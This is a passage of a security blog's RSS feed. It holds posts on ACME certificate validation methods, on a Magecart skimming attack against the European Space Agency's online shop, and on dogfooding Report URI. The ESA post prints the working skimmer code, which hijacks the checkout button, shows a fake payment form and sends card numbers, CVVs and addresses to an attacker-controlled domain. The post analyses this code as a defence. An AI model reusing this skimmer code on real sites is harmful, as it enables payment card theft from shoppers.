&quot;I own <code>scotthelme.co.uk</code> so please issue me a certificate for that domain&quot;, Let&apos;s Encrypt are required to say &quot;prove that you own <code>scotthelme.co.uk</code> and we will&quot;. That is the very essence of DCV, the CA needs to <em><strong>V</strong>alidate</em> that I do <em><strong>C</strong>ontrol</em> the <em><strong>D</strong>omain</em> in question. We&apos;re not going to delve in to the details, but it will help to have a brief understanding of the existing DCV mechanisms so we can see their shortcomings, and compare those to the potential benefits of the new mechanism.</p><p></p><h4 id="http-01">HTTP-01</h4><p>In order to demonstrate that I do control the domain, Let&apos;s Encrypt will give me a specific path on my website that I will host a challenge response. </p><pre><code>http://scotthelme.co.uk/.well-known/acme-challenge/3wQfZp0K4lVbqz6d1Jm2oA</code></pre><p></p><p>At that location, I will place the response which might look something like this.</p><pre><code>3wQfZp0K4lVbqz6d1Jm2oA.P7m1k2Jf8h...b64urlThumbprint...</code></pre><p></p><p>By challenging me to provide this specific response at this specific URL, I have demonstrated to Let&apos;s Encrypt that I have control over that web server, and they can now proceed and issue me a certificate. </p><p>The problem with this approach is that it requires the domain to be publicly resolvable, which it might not be, and the system requiring the certificate needs to be capable of hosting web content. Even I have a variety of internal systems that I use certificates on that are not publicly addressable in any way, so I use the next challenge method for them, but HTTP-01 is a great solution if it works for your requirements.</p><p></p><h4 id="dns-01">DNS-01</h4><p>Using the DNS-01 method, Let&apos;s Encrypt still need to verify my control of the domain, but the process changes slightly. We&apos;re now going to use a DNS TXT record to demonstrate my control, and it will be set on a specific subdomain.</p><pre><code>_acme-challenge.scotthelme.co.uk</code></pre><p></p><p>The format of the challenge response token changes slightly, but the concept remains the same and I will set a DNS record like so:</p><pre><code>Name:  _acme-challenge.scotthelme.co.uk
    Type:  TXT
    Value: &quot;X8d3p0ZJzKQH4cR1N2l6A0M9mJkYwqfZkU5c9bM2EJQ&quot;</code></pre><p></p><p>Upon completing a DNS resolution and seeing that I have successfully set that record at their request, Let&apos;s Encrypt can now issue the certificate as I have demonstrated control over the DNS zone. This is far better for my internal environments, and is the method I use, as all they need to do is hit my DNS providers API to set the record and they can they pull the certificate locally, without having any exposure on the public Internet. The DNS-01 mechanism is also required if you want to issue wildcard certificates, which can&apos;t be obtained with HTTP-01. </p><p></p><h4 id="tls-alpn-01">TLS-ALPN-01</h4><p>The final mechanism, which is much less common, requires quite a dynamic effort from the host. The CA can connect to the host on port 443, and advertise a special capability in the TLS handshake. The host at <code>scotthelme.co.uk:443</code> must be able to negotiate that capability, and then generate and provide a certificate with the critically flagged <code>acmeIdentifier</code> extension containing the challenge response token, and the correct names in the SAN.</p><p>That&apos;s no small task, so I can see why this mechanism is much less common, but it does have different considerations than HTTP-01 or DNS-01 so if it works for you, it is available. </p><p></p><h4 id="in-summary">In summary</h4><p>All 3 of those mechanisms are currently valid for DCV, and in essence they provide the following:</p><p>HTTP-01 &#x2192; prove control of web content<br>DNS-01 &#x2192; prove control of DNS zone<br>TLS-ALPN-01 &#x2192; prove control of TLS endpoint</p><p></p><h4 id="looking-to-the-future">Looking to the future</h4><p>I think the considerations for each of those mechanisms are clear, with both HTTP-01 and DNS-01 being favoured, and TLS-ALPN-01 trailing behind. Being able to serve web content on the public Internet, or having access and control to a DNS zone, are both quite big requirements that require technical consideration. Don&apos;t get me wrong, DCV should not be &apos;easy&apos;, especially when you think about the risks involved with DCV not being done properly or not being effective, but I also understand the difficulties where neither of those mechanisms are quite right for a particular environment and that they come with their own considerations, especially at large scale! </p><p>Another challenge to consider is the continued drive to reduce the lifetime of certificates. You can see my <a href="https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io" rel="noreferrer">blog post</a> on how all certificates will be reduced to a maximum of 47 days by 2029, and how Let&apos;s Encrypt are already offering <a href="https://scotthelme.co.uk/lets-encrypt-to-offer-6-day-certificates/?ref=scotthelme.ghost.io" rel="noreferrer">6-day certificates</a> now, which is a great things for security, but it does need considering. A CA can verify your control of a domain and remember that for a period of time, continuing to issue new certificates against that previous demonstration of DCV, but the time periods they can be re-used for is also reducing. Here&apos;s a side-by-side comparison of the certificate maximum lifetime, and the DCV re-use periods.</p><p></p><table>
    <thead>
    <tr>
    <th>Year</th>
    <th>Certificate Lifetime</th>
    <th>DCV Re-use Window</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>Now</td>
    <td>398 days</td>
    <td>398 days</td>
    </tr>
    <tr>
    <td>2026</td>
    <td>200 days</td>
    <td>200 days</td>
    </tr>
    <tr>
    <td>2027</td>
    <td>100 days</td>
    <td>100 days</td>
    </tr>
    <tr>
    <td>2029</td>
    <td>47 days</td>
    <td>10 days</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>By 2029, DCV will be coming close to being a real-time endeavour. Now, as ACME requires automation, the shortening of certificate lifetime or the DCV re-use window is not really a concern, you simply run your automated task more frequently, but the more widespread use of certificates does pose a challenge. As we use certificates in more and more places, the overheads of the DCV mechanisms become more problematic in different environments.</p><p></p><h4 id="dns-persist-01">DNS-PERSIST-01</h4><p>This new DCV mechanism is a fundamental change in the approach to how DCV takes place, and does offer some definite advantages, whilst also introducing some concerns that are worth thinking about. </p><p>The primary objective here is to set a single, <em>static</em>, DNS record that will allow for continued issuance of new certificates on an ongoing basis for as long as it is present, hence the &apos;persist&apos; in the name.</p><pre><code>Name:  _acme-persist.scotthelme.co.uk
    Type:  TXT
    Value: &quot;letsencrypt.org; accounturi=https://letsencrypt.org/acme/acct/123456; policy=wildcard&quot;</code></pre><p></p><p>By setting this new DNS record, I would be allowing Let&apos;s Encrypt to issue new certificates using my ACME account specified in the above URL as account ID <code>123456</code>. Let&apos;s Encrypt will still need to conduct DCV by checking this DNS record, but, any of my clients requesting a certificate will not have to answer any kind of dynamic challenge. There is no need to serve a HTTP response, no need to create a new DNS record, and no need to craft a special TLS handshake. The client can simply hit the Let&apos;s Encrypt API, use the correct ACME account, and have a new certificate issued. This does allow for a huge reduction in the complexity of having new certificates issued, and I can see many environments where this will be greatly welcomed, but we&apos;ll cover a few of my concerns a little later.</p><p>Looking at the DNS record itself, we have a couple of configuration options. The <code>policy=wildcard</code> allows the CA and ACME account in question to issue wildcard certificates, it the policy directive is missing, or set to anything other than <code>wildcard</code>, then wildcard certificates will not be allowed. The other configuration value, which I didn&apos;t show above, is the <code>persistUntil</code> value.</p><pre><code>Name:  _acme-persist.scotthelme.co.uk
    Type:  TXT
    Value: &quot;letsencrypt.org; accounturi=https://letsencrypt.org/acme/acct/123456; policy=wildcard; persistUntil=1767959300&quot;</code></pre><p></p><p>This value indicates that this record is valid until Fri Jan 09 2026 11:48:20 GMT+0000, and should not be accepted as valid after that time. This does allow us to set a cap on how long this validation will be accepted for, and addresses one of my concerns. The specification states:</p><blockquote>   *  Domain owners should set expiration dates for validation records<br>      that <strong>balance security and operational needs</strong>.</blockquote><p></p><p>My personal approach would be something like having an automated process to refresh this record on a somewhat regular basis, and perhaps push the <code>persistUntil</code> value out by two weeks, updated on a weekly basis. Something about just having a permanent, static record doesn&apos;t sit well with me. There are also the concerns around securing the ACME account credentials because any access to those will then allow for issuance of certificates, without any requirement for the person who obtains them to do any &apos;live&apos; form of DCV. </p><p>In short, I can see the value that this mechanism will provide to those that need it, but I can also see it being used far more widely as a purely convenience solution to what was a relatively simple process anyway.</p><p></p><h4 id="coming-to-a-ca-near-you">Coming to a CA near you</h4><p>Let&apos;s Encrypt have <a href="https://letsencrypt.org/2025/12/02/from-90-to-45?ref=scotthelme.ghost.io#making-automation-easier-with-a-new-dns-challenge-type" rel="noreferrer">stated</a> that they will have support for this in 2026, and I imagine it won&apos;t take too much longer for other CAs to start supporting this mechanism too. I&apos;m hoping that GTS will also bring in support soon so we can have a pair of reliable CAs to lean on! For now though, just know that if the existing DCV mechanisms are problematic for you, there might be a solution just around the corner.</p><p></p>]]></content:encoded></item><item><title><![CDATA[The European Space Agency got hacked, and now we own the domain used!]]></title><description><![CDATA[<p>It&apos;s not often that two of my interests align so well, but we&apos;re talking about space rockets and cyber security! Whilst Magecart and Magecart-style attacks might not be the most common attack vector at the moment, they are still happening with worrying frequency, and they are</p>]]></description><link>https://scotthelme.ghost.io/the-european-space-agency-got-hacked-and-now-we-own-the-domain-used/</link><guid isPermaLink="false">697b755b03d4840001b00ed8</guid><category><![CDATA[Report URI]]></category><category><![CDATA[javascript]]></category><category><![CDATA[magecart]]></category><category><![CDATA[European Space Agency]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 02 Feb 2026 13:01:53 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/esa-blog.webp" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/esa-blog.webp" alt="The European Space Agency got hacked, and now we own the domain used!"><p>It&apos;s not often that two of my interests align so well, but we&apos;re talking about space rockets and cyber security! Whilst Magecart and Magecart-style attacks might not be the most common attack vector at the moment, they are still happening with worrying frequency, and they are still catching out some pretty big organisations...</p><p></p><h4 id="mage-who">Mage-who? </h4><p>I&apos;ve talked about Magecart a <a href="https://scotthelme.co.uk/tag/magecart/?ref=scotthelme.ghost.io" rel="noreferrer">lot</a>, and they&apos;ve posed a significant threat now for almost a decade. The term really gained popularity during 2015-2016 when apparently independent groups of hackers were targeting online e-commerce stores with the goal of stealing huge quantities of payment card data. The primary target was Magento shopping carts (Magento-cart, Magecart) and the goal was for the attackers to find a way to inject JavaScript into the site by any means possible. They could then skim credit card data as it was entered into the site and exfiltrate it to a server controlled by the attackers for later use. Because the victim is typing in the full card number, expiry date, security code, and more, these attacks would yield incredibly valuable data to the attackers and often leave absolutely no visible trace on the website that was breached. Given the perfect alignment with what we do at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, we have a <a href="https://report-uri.com/solutions/magecart_protection?ref=scotthelme.ghost.io" rel="noreferrer">dedicated Solutions page for Magecart</a> with details on how we can help combat this problem if you&apos;d like more information, and our <a href="https://report-uri.com/case_studies?ref=scotthelme.ghost.io" rel="noreferrer">Case Studies</a> page details some pretty big organisations that have been stung by Magecart like British Airways and Ticketmaster.</p><p></p><h4 id="the-european-space-agency">The European Space Agency</h4><p>Just like all of the organisations that have been targeted before them, the attack against the ESA followed the same reliable pattern. We don&apos;t always get to understand the particular vulnerability that was exploited to inject the malicious JavaScript into the page, and often we just get to observe the result, which is that the malicious JavaScript is present in the page. The JavaScript is also reliably simple, and often just a bootstrap for a larger attack payload that is only triggered in specific circumstances.</p><p></p><pre><code class="language-html">&lt;script&gt;
      if (document.location.href.includes(&quot;checkout&quot;)){
        var jqScript = document.createElement(&apos;script&apos;);
        jqScript.setAttribute(&apos;src&apos;,&apos;https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js&apos;);
        document.addEventListener(&quot;DOMContentLoaded&quot;, function(){
        document.body.appendChild(jqScript);
        });
      }
    &lt;/script&gt;</code></pre><p></p><p>Following that same reliable pattern, you can see here that the first thing the injected payload was doing was to check if the URL of the current page includes <code>checkout</code>. In order to minimise their footprint, the attackers will only trigger their payload on pages that are going to contain the data they want to steal, and these triggers will be updated to match the target site. You can see this Internet Archive <a href="https://web.archive.org/web/20241223153137/https://www.esaspaceshop.com/" rel="noreferrer">link</a> to the ESA Space Shop that contains the above injection in the page.</p><p>Looking at the payload, you can see that once it triggers on the checkout page, it&apos;s acting as a bootstrap for the real attack payload that is going to be loaded and is imitating jQuery.</p><p></p><pre><code>https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js</code></pre><p></p><p>This payload, whilst a little larger, is still painfully simple and has some very clear objectives. </p><p></p><pre><code>var espaceStripeHtml = &quot;*snip*&quot;;
    var cookieName = &quot;6b2ad00bbd228ca0f23879b1e050f03f&quot;;
    
    function setCustomCookie(){
    	localStorage.setItem(&quot;customCookie&quot;, cookieName);
    }
    
    function isCustomCookieSet(){
    	if (localStorage.getItem(&quot;customCookie&quot;)){
    		return true;
    	}
    	else{
    		return false;
    	}
    }
    
    
    if (!isCustomCookieSet()){
    	setInterval(function(){
    		if (jQuery(&quot;#payment-confirmation-true&quot;).length === 0 &amp;&amp; jQuery(&quot;#stripe_stripe_checkout&quot;).length !== 0){
    			var paymentButtonOrig = jQuery(&quot;#stripe_stripe_checkout&quot;).find(&quot;button[type=&apos;submit&apos;]&quot;)[0];
    			jQuery(paymentButtonOrig).attr(&quot;id&quot;, &quot;payment-confirmation&quot;);
    			var paymentButtonClone = jQuery(paymentButtonOrig).clone(false).unbind();
    			jQuery(paymentButtonClone).attr(&quot;id&quot;, &quot;payment-confirmation-true&quot;);
    			jQuery(paymentButtonClone).attr(&quot;type&quot;, &quot;button&quot;);
    			jQuery(paymentButtonClone).removeAttr(&quot;data-bind&quot;);
    			jQuery(paymentButtonClone).removeAttr(&quot;disabled&quot;);
    			jQuery(paymentButtonClone).insertBefore(paymentButtonOrig);
    			jQuery(&quot;#payment-confirmation&quot;).hide();
    			
    			jQuery(paymentButtonClone).on(&quot;click&quot;, function(){
    				//parse address
    				var checkoutCfg = window.checkoutConfig;
    				var addressObject = checkoutCfg[&apos;shippingAddressFromData&apos;];
    				
    				if (addressObject !== undefined){
    					var fName = addressObject[&apos;firstname&apos;];
    					var lName = addressObject[&apos;lastname&apos;];
    					var address = addressObject[&apos;street&apos;][0];
    					var country = addressObject[&apos;country_id&apos;];
    					var zip = addressObject[&apos;postcode&apos;];
    					var city = addressObject[&apos;city&apos;];
    					var state = addressObject[&apos;region&apos;];
    					var phone = addressObject[&apos;telephone&apos;];
    				}
    				else{
    					var fName = jQuery(&quot;input[name=&apos;firstname&apos;]&quot;).val();
    					var lName = jQuery(&quot;input[name=&apos;lastname&apos;]&quot;).val();
    					var address = jQuery(&quot;input[name=&apos;street[0]&apos;]&quot;).val();
    					var country = jQuery(&quot;select[name=&apos;country_id&apos;] option:selected&quot;).val();
    					var zip = jQuery(&quot;input[name=&apos;postcode&apos;]&quot;).val();
    					var city = jQuery(&quot;input[name=&apos;city&apos;]&quot;).val();
    					var state = jQuery(&quot;select[name=&apos;region_id&apos;] option:selected&quot;).attr(&quot;data-title&quot;);
    					var phone = jQuery(&quot;input[name=&apos;telephone&apos;]&quot;).val();
    				}
    				
    				var price = parseFloat(checkoutCfg[&apos;totalsData&apos;][&apos;base_grand_total&apos;]).toFixed(2);
    				
    				if (fName !== &quot;&quot; &amp;&amp; lName !== &quot;&quot;){
    					var espaceStripeHtmlClear = decodeURI(atob(espaceStripeHtml));
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{GRAND_TOTAL}&quot;, price);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{EMAIL}&quot;, checkoutCfg[&apos;validatedEmailValue&apos;]);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{fName}&quot;, fName);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{lName}&quot;, lName);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{address}&quot;, address);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{country}&quot;, country);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{state}&quot;, state);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{zip}&quot;, zip);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{city}&quot;, city);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{phone}&quot;, phone);
    					
    					document.write(espaceStripeHtmlClear);
    				}
    				else{
    					jQuery(&quot;#payment-confirmation&quot;).click();
    				}
    			});
    		}
    	}, 100);
    }
    }</code></pre><p></p><p>I&apos;ve snipped the content of the first variable as it&apos;s massive, but I will link to all of the relevant payloads below. Looking through the script, we can summarise the following steps to the attack.</p><ol><li>The first thing the attackers do is check if they have already stolen the payment card details for this user... The <code>setCustomCookie()</code> function, which doesn&apos;t actually set a cookie but writes to <code>localStorage</code>, is called later when the attack succeeds and is checked with <code>isCustomCookieSet()</code>. I guess there is no point in increasing your exposure and risk of detection by stealing the same information from the same user multiple times.</li><li>If the payment card details for this user have not been stolen, the script uses <code>setInterval()</code> to create a fast-polling loop to detect the presence of the Stripe payment container on the page.</li><li>Once the payment container has loaded, the real &apos;checkout&apos; button is identified, disabled and then hidden. A clone is then inserted to replace it so the user will now click the attacker&apos;s button instead. </li><li>Clicking the attacker&apos;s button will trigger the email, name, address, total value and other information on the page to be recorded, and then the page is swapped for a fake payment page asking for card details. This fake payment page is populated with all of the correct information recorded before the page was swapped. If the attackers detect a problem with the attack and they can&apos;t record the details to pass through to their fake payment page, they send the user through the normal checkout process. This is likely another method to avoid detection by not breaking the checkout flow. </li><li>The final step of the attack is to exfiltrate the payment card data that was inserted into the fake payment form by the user. This uses a traditional image tag with the stolen data base64 encoded as a query string parameter to be deposited on a drop server. </li></ol><p></p><p>You can view the full Magecart payload on this <a href="https://pastebin.com/KPXai359?ref=scotthelme.ghost.io" rel="noreferrer">paste here</a>, including the fake base64 encoded payment page, and the Internet Archive have a copy of the payload for reference <a href="https://web.archive.org/web/20241223153153/https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js" rel="noreferrer">here</a>. PasteBin won&apos;t allow me to upload the malicious payload that performs the data exfiltration, but here is the pertinent function. </p><p></p><pre><code class="language-javascript">function makePayment(){
    		setCustomCookie();
    		var ccNum = ccnumE.value.replaceAll(&quot; &quot;, &quot;&quot;);
    		var expM = parseInt(ccexpE.value.split(&apos; / &apos;)[0]);
    		var expY = parseInt(ccexpE.value.split(&apos; / &apos;)[1]);
    		var cvv = parseInt(cccvvE.value);
    		
    		var resultString = ccNum   &quot;;&quot;   expM   &quot;;&quot;   expY   &quot;;&quot;   cvv   &quot;;&quot;   FName   &quot;;&quot;   LName   &quot;;&quot;   Address   &quot;;&quot;   Country   &quot;;&quot;   Zip   &quot;;&quot;   State   &quot;;&quot;   city   &quot;;&quot;   phone   &quot;;&quot;   shop;
    		
    		var resultImg = document.createElement(&quot;img&quot;);
    		resultImg.src = &quot;https://esaspaceshop.pics/redirect-non-site.php?datasend=&quot;   btoa(resultString);
    		resultImg.hidden = true;
    		document.body.appendChild(resultImg);
    		
    		//show error
    		alert(&quot;Card number is incomplete, please try again&quot;);
    		window.location.reload();
    	}</code></pre><p></p><p>The attackers are grabbing everything on the page, including name, address, country, full card number, security code, expiry date. Everything. They&apos;re then exfiltrating that data to a drop server located here:</p><pre><code>https://esaspaceshop.pics/redirect-non-site.php?datasend=</code></pre><p></p><p>Finally, just to improve the effectiveness of their attack, they&apos;re showing an error message to the user that says <code>Card number is incomplete, please try again</code>, so the user is likely to double check all of their details are right, and then hit the payment button again, sending a second copy of their information, and the attacker can now definitely confirm they have all of the correct details...</p><p></p><h4 id="where-we-could-have-stopped-this-attack">Where we could have stopped this attack</h4><p>In scenarios like these, the first thing that often gets suggested to me is that if the website didn&apos;t have the vulnerability that allowed the bootstrap to be injected, then none of this would have happened. In fairness, I agree. If none of us ever have a vulnerability, then none of us would ever get hacked! In reality, of course, that&apos;s a completely impractical approach.</p><p>We have to accept that, at some point, things are going to go wrong. This is the very reason that the concept of <a href="https://en.wikipedia.org/wiki/Defence_in_depth_(non-military)?ref=scotthelme.ghost.io" rel="noreferrer">Defence In Depth</a> even exists. I&apos;m not saying that solutions like Report URI are the primary line of defence against attacks like these, we&apos;re not, and we shouldn&apos;t be. What I&apos;m saying is that we form part of a necessary Defence In Depth strategy if you want effective protection on the modern Web. The primary line of defence against the above attack was whatever strategy they had that failed. It could have been a malicious code commit by a staff member, a compromise of a server that gave the attackers access, traditional XSS, a dependency that let them down, or a whole bunch of other stuff, but something, somewhere, obviously went wrong. </p><p>Looking at the various ways that Report URI could have detected and stopped this attack, we have a few to choose from. It could have been the prevention of the initial inline script bootstrap even running, by blocking the execution of inline scripts. We could have detected and prevented the addition of the new JS dependency that was then loaded from the <code>esaspaceshop.pics</code> domain. After that, there was the opportunity to detect and prevent the exfiltration of data to the same domain, even though it was using the image loading trick to try and look innocuous. The great thing about our solution is that we run in the browser alongside your visitor which is, quite literally, the last possible step before harm occurs. It does not matter where or how the initial breach occurred, it occurred before we arrived on the scene, which means we can see it. Nothing comes after us, everything comes before us, we&apos;re the ideal last line of defence. </p><p></p><h4 id="esaspaceshoppics">esaspaceshop.pics</h4><p>The attackers registered a lookalike domain for this attack, as they have done in countless attacks before. This is another method to avoid detection because this domain looks and feels familiar if anyone were to be poking around behind the scenes and come across it. Incidentally, if we observe our customers interacting with domains that have been registered in recent weeks or months, it is so often an enormous red flag and something that warrants immediate investigation.</p><p>Because this was a &apos;throwaway&apos; domain for the attackers that&apos;s only useful in this particular attack, they don&apos;t tend to renew them and it lapsed only 12 months after it was first registered, allowing us to scoop up the domain and repurpose it to point to the ESA case study on the Report URI site. </p><p>You can test it out here: <a href="https://esaspaceshop.pics/?ref=scotthelme.ghost.io" rel="noreferrer">https://esaspaceshop.pics</a> </p><p>In related news, we also own the domain used in the Ticketmaster Magecart Attack, <code>webfotce.me</code>, which you can test here <a href="https://webfotce.me/?ref=scotthelme.ghost.io" rel="noreferrer">https://webfotce.me/</a></p><p></p><p>The purpose of those case studies, or blog posts like these, is not to point fingers, but to share information and educate. Alongside the obvious harm to users having their data stolen, organisations then have concerns around notifying customers of the data breach, regulatory action and possible fines for the data breach in various jurisdictions, a whole bunch of bad news headlines and maybe some consideration for the harm to the brand too. All of this can be avoided by understanding just how pervasive these type of attacks can be, but also, just how easy it can be to get started on solving the problem. If you want to see just how easy, reach out for a demo of <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> along with a free trial, no commitment, and no strings attached: [email protected]</p><p></p>]]></content:encoded></item><item><title><![CDATA[Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us]]></title><description><![CDATA[<p>Dogfooding is often talked about as a best practice, but I don&apos;t often see the results of such activities. For all new features introduced on <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, we are always the first to try them out and see how they work. In this post, we&apos;ll look</p>]]></description><link>https://scotthelme.ghost.io/eating-our-own-dogfood-what-running-report-uri-on-report-uri-taught-us/</link><guid isPermaLink="false">69638d1da2de7d0001fa2bb3</guid><category><![CDATA[Report URI]]></category><category><![CDATA[Content Security Policy]]></category><category><![CDATA[Integrity Policy]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Wed, 28 Jan 2026 09:36:48 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/dogfooding.webp" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/dogfooding.webp" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us"><p>Dogfooding is often talked about as a best practice, but I don&apos;t often see the results of such activities. For all new features introduced on <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, we are always the first to try them out and see how they work. In this post, we&apos;ll look at a few examples of issues that we found on Report URI using Report URI, and how you can use our platform to identify exactly the same kind of problems!</p><p></p><h4 id="dogfooding">Dogfooding</h4><p>If you&apos;re not familiar with the term dogfooding, or &apos;eating your own dogfood&apos;, here&apos;s how the Oxford English Dictionary defines it:</p><p></p><blockquote>Computing slang<br>Of a company or its employees: to use a product or service developed by the company, as a means of testing it before it is made available to customers.</blockquote><p></p><p>It&apos;s pretty straightforward and something that we&apos;ve been doing quite literally since the dawn of Report URI over a decade ago. Any new feature that we introduce gets deployed on Report URI first of all, prompting changes, improvements or fixes as required. Once things are going well, we then introduce a small selection of our customers to participate in a closed beta, again to elicit feedback for the same improvement cycle. After that, the feature will go to an open beta, and finally on to general availability. We currently have two features in the final open beta stages of this process, <a href="https://scotthelme.co.uk/capture-javascript-integrity-metadata-using-csp/?ref=scotthelme.ghost.io" rel="noreferrer">CSP Integrity</a> and <a href="https://scotthelme.co.uk/integrity-policy-monitoring-and-enforcing-the-use-of-sri/?ref=scotthelme.ghost.io" rel="noreferrer">Integrity Policy</a>, and it was during the dogfooding stage of these features that some of things we&apos;re doing to discuss were found.</p><p></p><h4 id="integrity-policyfinding-scripts-missing-sri-protection">Integrity Policy - finding scripts missing SRI protection</h4><p>If you&apos;re not familiar with Subresource Integrity (SRI), you can read my blog post on <a href="https://scotthelme.co.uk/subresource-integrity/?ref=scotthelme.ghost.io" rel="noreferrer">Subresource Integrity: Securing CDN loaded assets</a>, but here&apos;s is a quick explainer. When loading a script tag, especially from a 3rd-party, we have no control over the script we get served, and that can lead to some pretty big problems if the script is modified in a malicious way. </p><p>SRI allows you to specify an integrity attribute on a script tag so that the browser can verify the file once it downloads it, protecting against malicious modification. Here&apos;s a simple example of a before and after for a script tag without SRI and then with SRI.</p><pre><code>//before
    &lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js&quot;&gt;
    &lt;/script&gt;
    
    //after
    &lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js&quot; 
    integrity=&quot;sha256-ivk71nXhz9nsyFDoYoGf2sbjrR9ddh+XDkCcfZxjvcM=&quot; 
    crossorigin=&quot;anonymous&quot;&gt;
    &lt;/script&gt;</code></pre><p></p><p>There have been literally countless examples where SRI would have saved organisations from costly attacks and data breaches, including that time when <a href="https://scotthelme.co.uk/protect-site-from-cryptojacking-csp-sri/?ref=scotthelme.ghost.io" rel="noreferrer">governments all around the World got hacked</a> because they didn&apos;t use it. That said, it can be difficult to enforce the use of SRI and make sure all of your script tags have it, until <a href="https://scotthelme.co.uk/integrity-policy-monitoring-and-enforcing-the-use-of-sri/?ref=scotthelme.ghost.io" rel="noreferrer">Integrity Policy</a> came along. You can now trivially ensure that all scripts across your application are loaded using SRI by adding a simple HTTP Response Header.</p><pre><code>Integrity-Policy-Report-Only: blocked-destinations=(script), endpoints=(default)</code></pre><p></p><p>This will ask the browser to send a report for any script that is loaded without using SRI, and then, of course, we can go and fix that!</p><p>Here&apos;s a couple that we&apos;d missed. First, we had this one come through.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-16.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1742" height="100" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-16.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-16.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/01/image-16.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-16.png 1742w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This is interesting because it really should have SRI as something in the account section, and it turns out it almost did, but there was a typo!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-15.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1449" height="243" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-15.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-15.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-15.png 1449w" sizes="(min-width: 720px) 720px"></figure><p></p><p>That&apos;s an easy fix, and we found another script without SRI a little later too.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-13.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1225" height="375" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-13.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-13.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-13.png 1225w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This script was in our staff admin section and it was missing SRI, it was reported, and we fixed it!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-14.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1447" height="147" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-14.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-14.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-14.png 1447w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Another great thing to consider about this is that you will only receive telemetry reports when there&apos;s a problem. If everything is running as it should be on your site, then no telemetry 